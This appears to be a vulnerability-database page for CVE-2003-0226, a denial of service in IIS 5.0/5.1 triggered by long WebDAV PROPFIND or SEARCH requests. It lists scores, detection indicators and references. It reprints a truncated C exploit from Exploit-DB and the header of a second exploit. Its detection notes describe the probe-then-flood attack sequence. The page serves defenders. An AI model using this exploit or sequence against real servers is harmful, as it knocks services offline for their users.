CVE-2003-0226
published 2003-06-09CVE-2003-0226: Microsoft Internet Information Services (IIS) 5.0 and 5.1 allows remote attackers to cause a denial of service via a long WebDAV request with a (1) PROPFIND or…
PriorityP421medium5CVSS 2.0
AVNACLAuNCNINAP
EXPLOIT
EPSS
43.20%
98.7th percentile
Microsoft Internet Information Services (IIS) 5.0 and 5.1 allows remote attackers to cause a denial of service via a long WebDAV request with a (1) PROPFIND or (2) SEARCH method, which generates an error condition that is not properly handled.
Affected
1 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| microsoft | internet_information_services | — | — |
Detection & IOCsextracted from sources · hover to see the quote
bytes↗
0x00
- →The exploit first probes the target with 'GET / HTTP/1.0' and checks the response for the string 'IIS/5.0' before launching the DoS; alert on this reconnaissance pattern followed immediately by a SEARCH request from the same source. ↗
- →The exploit verifies WebDAV SEARCH is enabled by sending 'SEARCH / HTTP/1.0' and checking for '411 Length Required'; a sequence of SEARCH / HTTP/1.0 followed by a large SEARCH request is a strong attack indicator. ↗
- →The XML body payload sent in the DoS request contains a DAV:displayname scope query; inspect HTTP request bodies for this specific XML structure on SEARCH/PROPFIND methods. ↗
- →If the Inetinfo service stops serving requests without crashing (remains alive but unresponsive), manual restart is required — monitor for IIS worker process becoming unresponsive after receiving an oversized WebDAV request. ↗
- ·The DoS only affects IIS 5.0 and 5.1 with WebDAV enabled; the exploit explicitly aborts if the server does not respond with 'IIS/5.0' in the banner or does not return '411 Length Required' to a bare SEARCH request, indicating WebDAV is not active. ↗
- ·IIS will automatically restart after the DoS in most cases, but a specific byte-count payload can leave Inetinfo alive yet non-functional, requiring manual intervention. ↗
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
No detection rules found.
Exploit-DB
Microsoft IIS 5.0 < 5.1 - Remote Denial of Service
exploitdb·2003-05-31
CVE-2003-0226 Microsoft IIS 5.0 < 5.1 - Remote Denial of Service
Microsoft IIS 5.0
#include
#include
#pragma comment (lib,"ws2_32")
void graphitte()
{printf("\n********************************** ");
printf("\n Webdav MICROSOFT IIS DoS Exploit * \n");
printf("+++++++++++++++++++++++++++++++*\n");
printf(" by Shachank Pandrey *\n");
printf("*************************************\n");
}
char *funk(char tobesent[100],char *host)
{
int s; char got[100];
WSADATA wsaData;
struct hostent *yo;
struct sockaddr_in heck;
char lala[100];
if(WSAStartup(0x0101,&wsaData)!=0) {
printf("error starting winsock..");
return 0;
}
if ((yo = gethostbyname(host))==0){
printf("error: can't resolve '%s'",host);
return 0;
}
heck.sin_port = htons(80);
heck.sin_family = AF_INET;
heck.sin_addr = *((struct in_addr *)yo->h_addr);
if ((s = socket(AF_INET, SOCK_STREAM, 0)) =
Exploit-DB
Microsoft IIS 5.0 - WebDAV PROPFIND / SEARCH Method Denial of Service
exploitdb·2003-05-28
CVE-2003-0226 Microsoft IIS 5.0 - WebDAV PROPFIND / SEARCH Method Denial of Service
Microsoft IIS 5.0 - WebDAV PROPFIND / SEARCH Method Denial of Service
---
/*
source: https://www.securityfocus.com/bid/7735/info
Microsoft Internet Information Services has been reported vulnerable to a denial of service.
When WebDAV receives excessively long requests to the 'PROPFIND' or 'SEARCH' variables, the IIS service will fail. All current web, FTP, and email sessions will be terminated.
IIS will automatically restart and normal service will resume.
** It has been reported that if a WebDAV request with a certain number of bytes is received, the Inetinfo service will remain alive but cease serving requests. This will cause the IIS server to stop serving requests until the service is manually restarted.
*/
/*
IIS eXploit. by velan. Greetz to: Shashank Pandey a.k.a +(Neo1)+
Bid:
No writeups or analysis indexed.
http://archives.neohapsis.com/archives/bugtraq/2003-05/0308.htmlhttp://marc.info/?l=bugtraq&m=105427362724860&w=2http://marc.info/?l=ntbugtraq&m=105421243732552&w=2http://www.spidynamics.com/iis_alert.htmlhttps://docs.microsoft.com/en-us/security-updates/securitybulletins/2003/ms03-018https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A933http://archives.neohapsis.com/archives/bugtraq/2003-05/0308.htmlhttp://marc.info/?l=bugtraq&m=105427362724860&w=2http://marc.info/?l=ntbugtraq&m=105421243732552&w=2http://www.spidynamics.com/iis_alert.htmlhttps://docs.microsoft.com/en-us/security-updates/securitybulletins/2003/ms03-018https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A933
2003-06-09
Published